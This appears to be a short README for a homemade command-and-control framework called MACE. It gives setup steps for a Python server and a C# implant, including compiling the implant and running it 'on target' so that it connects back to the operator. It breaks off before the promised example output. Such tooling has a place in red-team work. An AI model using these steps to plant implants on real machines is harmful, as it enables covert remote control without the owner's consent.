The most average C2 ever (MACE)
- pip3 install pycryptodome
- Ensure that server.py (or whatever you might name it) is located within /opt/c2
- Update server.py with referenecs to your own certificates (top of program in global variables)
- Start the server like this: python3 server.py
- Modify implant.cs to include reference to your c2 server (this is at the very top and there is only once place to specifiy it)
- Compile the implant like this: csc.exe /out:"c:\whatever\implant.exe" /target:exe /r:"System.Net.Http.dll" "c:\whatever\implant.cs"
- Run implant.exe on target
Example of implant connecting back to the listening post: